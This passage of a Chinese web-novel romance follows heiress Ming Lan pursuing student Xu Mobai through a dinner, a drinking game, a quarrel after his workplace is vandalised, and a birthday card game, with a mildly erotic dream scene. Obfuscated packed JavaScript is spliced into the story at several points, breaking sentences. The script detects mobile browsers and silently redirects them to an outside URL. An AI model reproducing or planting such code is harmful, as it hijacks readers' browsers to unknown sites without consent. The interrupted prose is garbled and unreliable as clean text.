明斓这样的大小姐肯定是从不来这的,他没有询问就把她带来这里会不会让她不自在。 对面的明斓倒是没有丝毫不适,正认认真真研究菜单,点了一大份招牌麻辣小龙虾,还记得他是不吃辣椒的,又补了份蒜香的,和几瓶冰镇啤酒。 看着很熟练的样子。 许墨白放下心来。 龙虾端上来之后还是热的,冒着腾腾热气,明斓馋的要流口水。 许墨白给她调了碟蘸料,推过去,又戴上一次性手套开始剥虾。 他手指修长,骨节分明白净,手背压着淡淡青筋,他用拇指按住龙虾头下面的第二骨节,轻轻往上一推,接着一拽,虾肉从虾尾中完整剥出来了,摆放到一旁的空盘中。 明斓觉得这双手很适合做外科医生拿手术刀,她问道:“你大学学什么专业,有兴趣做医生吗?” 许墨白看她一眼:“医生?” “对啊,”明斓炫耀似的拿他剥好的虾肉蘸料扔进嘴里,她说:“你有一双这么灵活又好看的手,不当外科医生多可惜。” 许墨白低眸没说话,半晌他突然道:“医生太久了。” 明斓当时并没有理解他说的久是什么意思,直到日后回忆起,她才明白他说的是时间,医学至少十年,考虑时间成本和回报效益,这对他而言并不是最优解。 许墨白一直在给她剥虾,他都没吃多少,两大盘龙虾几乎全进了她的肚子。 明斓催他:“你也吃啊,你这样别人还以为我欺负你呢。” 许墨白笑着点头。 上次在他家他也这样,一直在帮忙剥蟹腿,自己都没吃多少,他确实挺会照顾人,也不知道他以前和李菁菁吃饭,是不是也这样照顾她。 想到这里明斓有点不舒服,她喝了口啤酒:“其实我还挺羡慕李菁菁的。” 许墨白手下动作一顿,对这个名字本能反感地蹙了下眉。 许墨白眸色沉下来:“羡慕她什么?” “羡慕她比我早认识你这么多年啊,你们高中一定有很多我不知道的故事。”明斓嘟嘟嘴吧:“贴吧还有你们的同人文,以后你们是不是会在一起啊?” 许墨白下颚敛紧,沉默着没有说话。 半晌他才说:“不会。” 明斓“哦”了声:“你反正拒绝不了她。” “李菁菁对我有恩,有些事我确实拒绝不了他,但不代表她能强迫我的意愿。” 明斓没说话,看上去焉焉的,没什么精神,许墨白又说:“我的初中是在山里读的,那边的教育水平和城里完全不一样,所以高一时成绩很差,只能比别人更努力,晚上学习到两点,周六日还要去打工,我和她没有你想的那么多故事。” 明斓身边都是些纨绔子弟,高中在国际部也是吃喝玩乐,毕业后出国水个证再回家继承家业。 所以她根本不知道普通孩子在高中需要多少的努力才能有现在的成绩。 明斓脱了手套,笔直地坐着,突然郑重的跟他说:“许墨白,你放心,你的努力不会白费,未来一定会前程似锦的,再也没有人能道德绑架你了。” 这是……画饼? 许墨白轻笑了下,道了声谢谢。 明斓又开了罐啤酒,只不过这次她还没来得及喝,那罐酒被那双她刚刚夸过的手拦下。 “干嘛呀。”明斓。 “你不能再喝了。”许墨白说,她已经喝了两罐了,再喝下去会醉的。 “那你喝。”明斓单手托腮,眸子闪着亮晶晶的小星星,她还没见过他喝酒呢,也不知道喝醉了什么样,会撒酒疯吗,还是会说胡话。 许墨白看着那罐啤酒,依然是淡漠安静的模样,最后仰头一饮而尽。 明斓笑意更浓,不过许墨白一罐啤酒下肚一点事都没有,只是他皮肤白,衬得耳廓有些泛红,还很清醒的样子。 明斓伸手叫服务员:“再来两罐冰镇啤酒。” 明斓自认为酒量还好,她只是忽然想看他喝醉的样子,她笑了笑:“要不要和我玩个游戏?行酒令你会吗?” 不等许墨白,明斓替他说了:“你这种乖乖好学生肯定不会,石头剪刀布,这个肯定会吧,输得人喝酒怎么样?”明斓把两人面前的玻璃杯倒满。 许墨白摇头说不行,明斓又加了份筹码:“这样吧,石头剪刀布,输得人回答赢得人一个问题,答不上来的喝酒。” 许墨白眉头轻蹙,明斓见他犹豫,又不高兴了:“难道你有什么不能告诉我的秘密?不会是有暗恋多年求而不得的白月光吧。” “……”许墨白被她堵的哑口无言:“没有。” “没有你怕什么?”明斓兴致正浓,又扣开两罐啤酒,攥着粉拳伸到他面前:“来,石头剪刀布……” 许墨白只能硬着头皮陪她,第一轮是明斓赢了,她想了想问道:“你有喜欢的人吗?” 许墨白愣了下,他没吭声,默了会,端起面前的酒杯一饮而尽。 明斓看着他:“这是什么意思,这个问题很难回答?” 许墨白垂着眸:“你说的,不想回答可以喝酒。” 明斓撇嘴:“行吧,再来。” 早晚把他灌醉什么都吐出来。 第二轮明斓输了,她“啊”的一嗓子,往椅背一椅,撇着嘴:“你问吧。” 许墨白却说:“我没有想问的。” 明斓:“随便什么都行,你不可能对我一点都不好奇吧。” 许墨白并不想为难她,也不想让她喝酒,于是问了个无伤大雅的问题:“你的血型是什么” “……” 就这样? 明斓:“AB。” 许墨白了然的点了点头。 第三轮还是明斓输了,许墨白问她:“你高考多少分?” 明斓一顿,开始认真思考,这才过了一个多月,她考了多少来着,430?480?反正不到500。 最后实在没想起来,闷头喝了杯啤酒。 许墨白:“……” 几轮之后明斓成功把自己坑醉了,她额头搁在桌面上,被问到自闭:“我真傻真的,我不仅学习不行脑子还不好使,你为什么就不知道让着我点啊。” 许墨白:“……” 天地良心,他是真的放水了,他也不知道一个刚刚高考完的学生为什么连倍角公式都不会。 许墨白过去把她扶起来,明斓醉醺醺揪他的衣领,脸蛋粉扑扑更显娇憨:“你是不是在心里嘲笑我笨?” 许墨白:“没有。” 她把耳朵贴到他胸口,开始鬼哭狼嚎:“骗人,我都听到了,你就是在嘲笑我!” 许墨白:“……” 许墨白结完账,打了辆出租车,明斓在后座靠在他身上,醉醺醺问他:“那你高考多少分啊?” 许墨白:“……裸分719。” 这话出口更不得了,明斓开始嚎啕大哭:“居然比我高近300分,还说我不是傻子,都快一倍了啊!” 这学渣还挺有攀比心。 他都不知道该怎么安慰了。 许墨白抓住她乱挥舞的胳膊:“明斓你喝多了,我送你回家。” “我才不回家呢,继续喝啊,六六六五魁首。” “……”他就不该答应她玩游戏。 “要不……我……我跟你说个秘密吧。” 许墨白没打算偷听她的秘密,但明斓已经凑过来了,单手握成“C”拢在唇边:“我跟茜茜打了个赌,嘿嘿嘿,而且我快赢了,我和她打赌你……” “……” _ 后面发生什么明斓不记得了,她原本是想灌醉许墨白,结果把自己喝断片了。 第二天她被江琳茜的电话铃声吵醒,迷迷糊糊中抓起手机,脑袋带着宿醉的昏沉,就听到江琳茜质问:“你昨天干什么了?” 明斓打了个哈欠:“什么都没干啊。” “昨天半夜【初遇】被人砸了。” 明斓骤然睁开眼睛,坐了起来:“什么意思,遇到抢劫了?” “不是抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892337|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劫,店里现金一点没少,门玻璃、桌椅还有制奶茶的器材都被砸了个稀巴烂,墙上用红油漆写了【许墨白滚回来】之类的话,所以我猜……是李菁菁干的。” 明斓心脏紧了紧:“许墨白呢?” “听说被辞退了,干的一个多月工资也没给,别的不知道,这事不会也跟你有关吧?” 明斓来不及回答她,说了句先挂了,起床随便套了件衣服,往楼下边跑边打许墨白电话,电话响了许久,最后被人工挂断。 明斓看着息屏的手机,心急如焚,怎么不接电话啊。 “司机叔叔,去花枝巷。” 一下车明斓片刻都等不及地往巷子口跑,迎面遇到正在溜大白的许听白,她右手牵着牵引绳,萨摩耶很大一只,毛茸茸的跟在她身边。 明斓喊她:“妹妹!” 许听白闻声拉住大白的绳索:“姐姐?” 明斓走过去,大白蹲在她脚边,微笑着跟她吐舌头,裙摆下的小腿被它毛茸茸的尾巴扫来扫去,像是要勾搭她陪它玩。 不过明斓有急事没空和它玩:“你哥呢,我打电话他不接。” “哥哥、在奶茶店上班。” 看来她并不知道许墨白被辞退的事,明斓也不好告诉她,只问:“他平时还常去别的地方吗?” 许听白想了想:“市图书馆,哥哥、三楼自习室、看书。” “谢谢妹妹!” 她来去像一阵风,风风火火跟着人流往街对岸跑去,不一会就没了踪影。 市图书馆离花巷里不远,只隔着两条街,明斓跑过去只用了十分钟,目标明确的爬上了三楼,在自习室扫视一圈看到了窗前的男生。 许墨白坐在靠窗一侧,左手肘压着一本书,低头时额间碎发垂下落在眉宇,一派岁月静好的样子。 后桌有几个女生窃窃私语,手指不停往他的方向指,脸上惊喜都掩饰不住。 这人还真是招桃花体质,这搁在古代真是妥妥的祸水吧。 明斓三两步过去坐到他对面,她没化妆,素着一张小脸,不施粉黛,皮肤却窥不见半点瑕疵,在光线下脸上的小绒毛都清晰可见。 “许墨白。”她气喘吁吁叫他。 许墨白神色一顿,抬头看了她一眼,很快又垂下脸继续看书,像是根本没看见她这个人。 不知为何,明斓感觉他好像情绪不太高涨,不是很待见她,虽然以前也没多热情,但起码不会视而不见。 明斓小心翼翼问他:“你没事吧,我听说奶茶店被砸了。” 许墨白没说话,默默收拾起的东西,笔记本和电脑一起装进背包,招呼都不打,单肩背上就要离开。 明斓:“?” 明斓立马追了过去:“你怎么了?” 虽然他一句话没说,明斓明显感受到他周身弥漫开的低气压,而且明显是冲着她的。 他在跟她发脾气。 可是为什么? 明斓从后面拽住他的书包:“你这是在怪我吗?” 许墨白没回答,挣开她的手急匆匆下楼。 明斓从小被人捧着到大,还没人敢这样跟她甩脸子,现在更是受不住气了。 她跑过去绕到他身前,冷声质问:“你什么意思?” 许墨白并不看她:“没什么。” “你不会是觉得昨天我把你带走了,所以李菁菁才砸店,你认为这一切是我的错?” 【我告诉你一个秘密,我跟茜茜打赌说一周追到他,输了叫对方爸爸。】 【你不知道他是谁?就他啊,许……许墨白啊!】 许墨白没吭声,贴着裤缝的手指蜷了蜷。 明斓继续说:“是李菁菁害你丢工作的,不是我,你不跟她发脾气却来迁怒我,不觉得很过分吗?” 【偷偷跟你透个底,其实根本用不了一周,他已经对我动心了,嘿嘿嘿。】 【一点挑战性都没有。】 【等我玩够了就把……把他踹了,让他尝尝爱情的苦。】 许墨白脸色惨白,眼底翻涌着暗潮,他突然笑了一下,这笑意却不达眼底,像海底一般冰凉:“就是你想的这样。” 明斓愣了好一会。 “别再跟着我了。” 12. 月亮 明斓怎么都想不明白事情怎么发展成这样了,她神情恹淡,和江琳茜逛街都提不起兴趣。 江琳茜和她说:“李菁菁被拘留了。” 明斓对李菁菁半点兴趣都没有,淡淡“哦”了声。 江琳茜又说:“不过应该用不了多久就会出来,他爸已经联系了奶茶店店长,说是按损坏财物的双倍赔偿,估计很快就和解了。” 明斓还是:“哦。” 江琳茜:“?” 江琳茜:“你不会说别的字了。” 明斓长叹了口气:“唉。” “……”江琳茜点着她的眉心:“小小年纪叹气长皱纹的。” “哦!” 江琳茜说:“别唉声叹气的了,现在也是个好机会啊,趁着李菁菁不在许墨白身边转悠,你可以加足马力把他拿下了。” 明斓掀起眼皮冷淡瞥她一眼:“呵呵,他已经不理我了。” 江琳茜:“为什么?你前几天不是还和他把酒言欢?” 明斓也纳闷呢:“言欢完就没再理过我了,我也不知道为什么,他估计是怪我把他从奶茶店拉走惹怒了李菁菁吧。” “这和你有什么关系?” “我也不知道。” 江琳茜知道她的酒品差,有点不太确定问:“你该不会喝醉后对他做了什么吧?” 明斓抬头:“我能对他做什么?” “那谁知道,反正高中有次聚会你喝醉要强吻我来着,”江琳茜捂着小心脏:“当时我还以为你喜欢我,吓得我好几周没敢出现在你视线里。” 明斓诧异:“我怎么一点都不记得?” 江琳茜:“你这酒品,能记得才怪。” 难道说她强吻了许墨白? 所以他才生气了。 明斓捋着下巴上不存在的胡须,也不是没有这种可能。 明斓回家时已经快七点了,明琛还没回家,家里只有李婶在忙着做家务。 明斓还在琢磨那天喝醉后自己到底干了什么,心不在焉趿拉着拖鞋进卧室,李婶在外面问道:“小姐,桌子上的花是你买的吗?” 明斓这才想起来:“是,下午和茜茜逛街时买的,阿姨你帮我养一下,明天我送人用。” 李婶道了声好,找了个空的花瓶,涮干净倒上营养液,把玫瑰养在里面。 一开始明斓没打算买花。 逛完街结账时看到旁边一家花店,一对吵架的小情侣进去了,没几分钟就见女孩抱着花满脸娇羞的出来。 然后明斓就鬼使神差跟进去转了一圈。 花店小妹热情介绍了各种花,明斓看的眼花缭乱,应接不暇,最后注意到角落里一桶雪白的玫瑰花骨朵,躲在一众争奇斗艳的花丛中像个娇羞的少女。 明斓弯腰嗅了嗅:“这是什么?好香啊。” 花店小妹介绍:“这是今天刚到的一批奥斯汀玫瑰,叫美雪公主,完全绽开后花瓣厚实,花香浓郁,非常漂亮。” 美雪公主? 这么少女的名字啊! 既然是公主,就该送给公主才对。 “帮我包一束这个。” 第二天清晨,明斓睁眼就看到了窗台上那束玫瑰公主,经过一整夜醒养,她已经从含苞待放的状态彻底绽开,在阳光中,舒展着花瓣,吐着芬芳。 明斓兴高采烈跑过去深嗅一口,好香啊:“李婶,你简直是我的神。” 早饭后明斓就抱着玫瑰出门了。 可惜公主本人对玫瑰并没有那么感冒,娇嫩欲滴的在他眼中如若无物,他垂着头,笔尖摩擦纸张发出细微沙沙声。 明斓生气了,一把夺过他手里的笔:“我在跟你道歉,没礼貌。” 许墨白的头仍然低着,被夺了笔也没有任何反应,静默了半晌,他终于开口询问:“为什么道歉?” “因为你生气了啊!” 她回答的自然,好像这是理所当然的事情,他生气她就哄,不问原由或者说并不关心原由。 “我那天喝醉了,也不知道自己干了什么,不过你放心,我绝对不会不认账的,我会对你负责的。” 许墨白仍是沉默。 他根本看不懂她,他知道明斓对他有兴趣,但这种兴趣或许连喜欢都算不上,一时兴起又能有多少真心实意。 气氛再次僵硬了起来。 明斓忍不住偷偷去看他,阳光下他垂下的睫毛浓密直挺,薄而浅的双眼皮,让面部轮廓显得疏淡,领口有点低,白皙的锁骨正好落入她的视线中。 真的好诱惑。 明斓忍不住咽了咽口水。 自习室很安静,许墨白听到动静抬起眼皮,明斓慌乱的解释:“是我肚子饿的咕噜叫的声音,都快中午了,我请你吃午饭吧。” 许墨白没说什么,又开始收拾东西背包走人。 明斓抱着玫瑰追出去,喊了他好几声他也不回应,在他踏过楼梯最后一节时,明斓终于耐心告罄,气得把花扔到了他身上。 雪白的花瓣飘散空中,甜蜜浓郁的花香四散,大束的玫瑰花砸上他的背,顺着滑落地面,娇嫩的花朵在地上颤巍巍发抖。 许墨白回头看她,平淡无波的眼神,和面对李菁菁的纠缠时完全一样。 明斓被他这样的眼神伤到,心脏狠狠揪了一下。所以现在在他眼中,她和李菁菁是一样的了。 一瞬间委屈和不甘一齐涌上来,她难过的吸了吸鼻子:“你到底要怎么样!” 许墨白盯着她,嗓音沉凉:“是你要怎么样?” 明斓快委屈哭了:“我跟你道歉你不理人,我买花送你也不开心,你不说话我怎么知道你想要什么?” 他什么都不要。 不喜欢,何苦来招惹他。 许墨白难得烦躁地皱皱眉,转身要走。 她眼睁睁看着他消失在楼梯拐角,后面的话哽在喉间,再也说不出口。 她真的被他讨厌了吧。 明斓抱臂蹲在地上,把脸深深埋进去,她咬唇抽噎着,泪水夺眶而出,模糊了视线。 断断续续的哭泣声在楼梯间回荡,许墨白下意识在拐角停住,明斓听到他折返的脚步声哭得的厉害了,她不想让他看到这样难堪的自己。 “你别过来,我知道你讨厌我了,你放心,我不会学李菁菁的,你走吧,我再也不会来纠缠你了,快走吧!赶紧走,别再管我了!” 许墨白没再靠近她。 可是看她蹲在地上委屈到哭的样子,他的心脏都难受了。 他不喜欢这样的感觉。 他感觉自己失去了控制,心脏被她攥在手里,她哭一声他就跟着疼一下。 许墨白张了张唇,哑着嗓子开口:“我不讨厌你。” “骗人,你不讨厌我为什么突然不理我了,明明前几天还好好的,我不知道怎么了,你要生气也应该有理由吧,你都不告诉我哪里做错了。” 许墨白嗓子低哑,声音很轻:“你没有做错事,不用道歉,是我的问题。” 明斓哭得肩膀抖动,她收拾一番情绪,才从臂弯里抬起脸,腮边还挂着两行泪珠,看得人我见犹怜。 “既然是你自己的问题干嘛欺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892338|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负我。”她嘟着唇,像是委屈极了。 到底是谁在欺负谁。 许墨白站着,高大身影把窗外的夕阳都遮住了,明斓费劲地仰着头,背光很难看清他的表情。 许墨白走过去,半蹲下来,从背包拿出一包纸巾,拆开抽出一张给她。 “别哭了。”他的声音干涩,带着一丝苦。 明斓抽噎着,撇着脸不想看他。 许墨白叹了口气:“对不起。” 明斓眼含热泪揪住他的衣袖:“那你还会突然不理我吗?” 许墨白眸色闪过一丝痛苦神色,虽只一秒钟她就捕捉到了,但她读不懂这是什么意思。 他闭了闭眼睛,再睁开时把情绪隐匿的干干净净,他平淡回复:“不会。” 明斓一下子破涕为笑,露出浅浅的梨涡。 她迅速手背摸了把脸上的泪:“明晚我过生日你还会来的对不对?” 许墨白单手握住她手腕,拿纸巾给她擦泪:“别用手擦。” 明斓执拗道:“你先回答我会不会来?” 许墨白妥协:“会。” “太好了,嘿嘿嘿。” 她又傻笑起来,开心的像个小孩子。 她情绪来的快去的也快。 完全忘了几分钟前还哭得鼻涕泡都出来了。 许墨白有片刻的恍惚,这样傻乎乎的女孩真的会骗人吗?会不会是他弄错了,她根本就没有玩弄他的意思,只是喝醉后的胡言乱语。 – 许墨白找了份新的兼职,在一家烧烤店,工作时间是下午四点到凌晨。 许墨白觉得这时间正好,还可以白天留出时间看书。 明斓离开后他就骑自行车去了烧烤店,一直忙到凌晨才回家。 他去冲了个澡,把身上残留的烧烤味冲干净,感觉身体微微发烫,似乎有点发烧,许墨白没管,回卧室以一种不太舒服的姿势侧躺着睡着了,疲惫令人滋生困倦,模糊中他似乎做了个梦。 他看见了抱着大束洁白玫瑰花的明斓。 她穿着清凉单薄的纱裙,灿烂明媚地冲他笑,她靠的他极近,甚至能闻到独属于她身上的馨香,低眸便是女孩子深陷的沟壑。 她温热的吐息轻轻洒在他的脸上,笑着说:“许墨白,我喜欢你。” 有陌生的情绪牵引着他,许墨白垂在伸侧的手指落在了她的脸颊,明斓没有拒绝,反而轻轻闭上了眼睛。 她的唇是淡粉色的,看着好柔软,也很好亲。 似是意识到什么,他的心脏开始不受控的怦怦直跳。 理智在这一瞬间断了线。 俯身亲吻她的那一刻即是失控又是情难自已,陌生的情愫在这一刻被点燃,无法克制的荷尔蒙在空气中弥漫。 月光女神侵入梦境,她在梦中牵引着他,勾着他不停往下坠。她柔软的舌头和嘴唇,亲吻他…… 许墨白瞬间睁开眼睛,身体的感受还来不及退却,他有些恍然地捂着额头坐起来,掀开被子。 一片狼藉。 他怎么会做这种梦! 许墨白抓着干净的衣服冲进了浴室,热水都没调,拨开花洒开关凉水浇下来,非但没有熄灭心中的火,反而愈演愈烈。 许墨白单手撑着墙壁,把额头抵在冰凉的瓷砖上降温,只要一闭上眼梦中女孩的笑靥就浮现在眼前。 水流哗啦啦,将手指往下探。 洗了近半小时的冷水澡,他才堪堪冷静下来。 许听白遛弯大白回来,问他为什么大清早就起来洗衣服,他红着耳根没吭声。 13. 月亮 明斓的生日聚会定在了7月14号晚上,其实明斓的生日是7月16,因为当天要去老宅陪爷爷吃饭,所以今天提前邀请朋友们。 地点是江琳茜选的,她拉了个临时群,在群里发了个地址,吆喝着【@所有人大家明天有空的可以先过来,把明大小姐的钱包全部吃空喝空。】 下面跟着一长条的表情包。 明斓怕许墨白找不到地方,顺手把他也拉进来了。 这是一家会员制的高档会所,集聚会娱乐一体,仿金銮殿的设计,紫檀木屏风和精致摆件,古色古香,雍容华贵。 这群公子哥们总喜欢这种有消费门槛的私人俱乐部,像是只有这样才能彰显身份。 刚进门江琳茜就看见她了,酒杯搁在吧台上走过来:“我亲爱的小寿星斓斓,生日快乐呀。” 她今天穿了件日系花布裙,黑长直,素颜妆,脖子耳朵没戴任何饰品,连香水都没喷。 明斓差点没认出她:“茜茜,你走日系风了?” 江琳茜笑着拉住她:“最近认识了个漂亮弟弟,装一下。”说着给她指向台球桌方向:“就那个,又白又嫩,超好看的。” 围在台球桌共四个男生,有三个她认识,周凛让和他的狐朋狗友。另一个身高腿长面容俊朗的应该就是江琳茜说的弟弟了。 男生看见她们看过来,腼腆笑了笑,走过来打招呼:“学姐好,我叫阿旺。” 明斓莞尔一笑:“你好。” 粉面桃腮,面如冠玉,确实是很漂亮的男生。 阿旺盯着她看了好一会,突然像发现什么:“学姐,你是不是那个《玫瑰的舞裙》的作者?” 江琳茜诧异挑了下眉,看不出来这位漂亮弟弟居然了解油画,对他的兴趣更大了点。 油画圈子并不大,也是因为前辈光芒太甚,新人崭露头角很难,现代作品好几年才出一副,近期最出名的便是《玫瑰的舞裙》,以极其鲜艳明亮的色彩搭配被称赞为“21世纪小莫奈”。 那段时间正值明斓高三,她的学生证照片也被有心人传到了网上,无数网友惊叹她的美貌,无论什么行业只要沾上美女两字总是容易爆火。 不出意外的,各种与玫瑰有关热门话题冲上热搜。 #玫瑰即玫瑰,花香无意义 #浪漫的尽头是玫瑰, 网友称呼她美女画家,天才,中国新锐之星等等。 但明斓做事随心所欲惯了,不想引起太多关注,何况是靠美貌炒作,所以早就找人把照片删干净了,没成想时隔一年还是掉马了。 明斓尴尬笑了下:“是我。” 阿旺见到偶像,眼睛都亮了,激动的拿手机说:“我也是学油画的……那个……我能和您合个影吗?” 都激动的用上敬语了,一副网红画而已,不至于。 明斓本想拒绝:“都是运气,合影没必要吧。” 可阿旺眼中崇拜之情几乎要溢出:“学姐太谦虚,您对色彩把控和敏锐度简直运用到炉火纯青,这可不是运气,我真的特别崇拜您,就答应我吧。” 一旁江琳茜还在推波助澜,附耳道:“快答应吧,我今晚能不能把这小奶狗勾搭上我的床,全靠你了姐妹。” 明斓:“……” 明斓无奈:“好吧。” 阿旺举起手机过来,他比她高很多,要弯腰才能进到同一个画框,他笑说:“学姐,我要拍了,一二三……” 明斓勉强扯出一个笑。 快门闪动时,男生垂在在身侧的手忽然搭上她的肩,搂了她一下,明斓穿的是露肩泡泡袖,裸露在外的皮肤碰到陌生的触感,她有些不适应皱了下眉,但阿旺很快就拍完松开了手,明斓也就没说什么。 阿旺把手机屏幕拿给她看:“学姐,你真的太漂亮了,随便一拍都好看。” “谢谢,你也很帅。” 寒暄完,转身时正好看到许墨白站在门前,他穿简单白衬衫,衣摆半埋进裤腰,衬出宽肩窄腰的好身材,两人目光在半空撞上。 明斓红唇勾起,脑袋一歪,远远就朝他挥舞双手。 许墨白离她不足十米,眼风扫过时,明斓本能心中一凛,这一眼不同于以往的清冷温润,或者疏离平淡,他漆黑的眼底令人惴惴,像是对上了蛰伏森林中某种野兽的瞳,带着一股骇人的威圧感。 明斓怔了下,等回过神,许墨白已经转身往另一个方向走了。 怎么回事。 是灯光造成的错觉吧。 明斓没多想,当即追过去,在后面喊他:“许墨白!” 许墨白不由自主停下脚步,明斓绕到他身前,似嗔似怨:“你没看见我?” 许墨白喉结上下滚动,低垂下眼睫,遮住瞳仁和所有的情绪,声音都低下来:“看见了。” “看见了你跑什么?” “……” “又不想和我说话了?” “没有。” 大厅人来人往,有侍者推着整块蛋糕塔往里进,门打开的瞬间冷风直往里灌,许墨白下意识走到她身前,用身体替她挡住了风。 这样的动作令明斓心里一暖。 但侍者离开后他又马上与她拉开安全距离,好似是多靠近一寸都嫌弃。 明斓拉平嘴角抱怨道:“你知不知道我在这里等你很久了,来了不和我打招呼也就算了,看见我还直接走人,真的很没礼貌。” 许墨白任由她抱怨。 “你上次明明说好了不会不理我的,你这人怎么这样,出尔反尔的,老是说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明斓眉梢挑起:“好不好?” 许墨白张了张唇,但没说话又抿起,他无法答应她这样过分的要求。 “你俩怎么还在打情骂俏呢,过来玩啊!” 江琳茜在包厢里面喊她,明斓应了声好,踮起脚尖对着许墨白说:“乖乖,走啦。” 明斓离开的匆忙,空气中还残存着她身上淡淡的茉莉香。 许墨白保持先前的动作,良久,才缓缓垂下手臂。 她刚刚叫他……乖乖? 14. 月亮 包厢里圆桌边围着圈人在打牌,江琳茜看样子输了不少,对桌每人都摞着高高的筹码,她这边空空如也。 江琳茜见到救星赶紧拉着她坐下:“快来帮我,我快要被这几个老油条榨干了!” 明斓:“你们在玩什么,四人斗地主?” 江琳茜:“升级。” 明斓:“升级是什么?这我不会玩啊。” 江琳茜相当慷慨:“没事,看看就会了,输了算我的。” 她进来后没一会,许墨白也跟进来了。有几个女生想叫他过去唱K,许墨白说不会唱歌,被明斓顺理成章留下来打牌。 于是这桌牌局就变成了明斓、许墨白、周凛让和他朋友阿旺,江琳茜观战。 四人升级规则是面对面一组,108张牌,5,10,k是分,按同花色出牌,庄家负责不让闲家拿分,哪一组从2升级到A则获胜。 规则很复杂,明斓听得头昏脑涨,也没听懂多少。 开局明斓和对面的周凛让是庄家,黑桃2是主,明斓先出了个方块10,下家方块A,方块Q,方块K,成功让闲家拿走20分。 周凛让看着牌面直皱眉:“你到底会不会打,哪有一上来就送分的,从大牌,对子和拖拉机开始打。” “我都说了不会嘛,”明斓嘟囔着,问一旁的江琳茜:“拖拉机是什么?” 江琳茜:“445566这种连起来的就叫拖拉机。” 明斓皱眉:“这不是飞机吗?” “444555叫飞机。 “……”哦,这还和斗地主还不一样,什么人定的破规则。 几轮下来,不出意外的明斓输得很惨,连带对面的周凛让也一直在赔钱,这位姑奶奶哪是打牌,随心所欲乱出。 明斓把桌面筹码一推:“我又输了。” 江琳茜心疼的很,这可都是她的心血。 这局是许墨白洗牌,他弯腰将桌面两副牌摞在一起,切牌洗牌操作熟练。这几轮下来他赢了不少,但也没看出有半点高兴,是一个没感情的赢分机器。 明斓瞥着他这幅禁欲冷清的样子,心里忽然有股坏心思涌上来,想再逗逗他。 她今天穿了双PVC凉拖,单手支着下颌,往旁边倾了倾身子,翘起雪白纤细的小腿,在空中晃动几下踢掉了一只鞋子,足尖轻轻往旁边一勾,碰到了他黑裤下的一截脚踝。 包厢内白炽灯亮的过分耀眼,灯光落在他的眉骨,许墨白坐得笔直,连动都没有动,脸上更是没有丝毫变化。 牌桌上热血沸腾,桌下暗流通道。 明斓无心看牌,随便出了一张,又去观察他的表情。 明斓体质偏寒,大夏天手脚冰凉,而他的体温却是炙热的。见他一直忍让,明斓得寸进尺,足尖顺着裤腿伸进去,感到他腿上紧致结实的肌肉线条。 许墨白还是没有动静,甚至让明斓有一丝的怀疑,难不成她勾错了人。 很快她打消了这个念头,因为她注意到,无人看到之处,他的耳根微微变了色。 明斓笑了笑,扔下最后两张票,终于赢了一局。 趁着众人收砝码的间隙,明斓凑近他耳边问:“你刚才是不是让我了?” 许墨白眸色幽暗:“没有。” 又是许墨白洗牌,他弓着身,认认真真整理牌,衬衫挽至袖口,露出结实的小臂,也不看她。 明斓有点好笑:“那你一定是分心了,不然怎么会输,这可是今晚你输的第一场。” 许墨白:“……” 明斓:“你在想什么?” 许墨白:“……” 明斓:“你不说话我可要猜了,我猜……” “你是在想我,对不对?” 说话时,她的脚趾攀着他小腿上往更深处钻,像条小蛇蹭来蹭去,甚至恶劣地用指尖刮他的皮肤,有点痒。 许墨白耐着性子理好牌放到桌子中间,突然站起身,明斓脚趾顺势滑了出来,上半身往下塌了下。 许墨白说:“我去趟卫生间。” 明斓看着他明显落荒而逃的背影,又笑了。 对面周凛让把这一切看在眼中,虽然不知道桌面下的暗动作,光看两人眉来眼也令他非常不爽。 周凛让盯着她看了几秒,语调散漫:“你跟他怎么回事?” 明斓低还在垂着眸:“谁啊?” 周凛让:“明知故问。” 周凛让:“你真在追他?” 明斓笑了下:“是啊。” 周凛让眸色暗下来:“你想玩可以,但我劝你最好收敛一点,不要太过火让你家和我家老爷子知道了。” 明斓无语:“你也管太宽了吧,跟个老妈子似的。” 周凛让的脸更臭了。 江琳茜从刚刚开始就察觉周少爷情绪不对,他表情很平静,像海面下的暗流汹涌,她见惯了他吊儿郎当的样子,这会儿还真有点吓人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892340|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明斓全神贯注打牌,没关心其他。 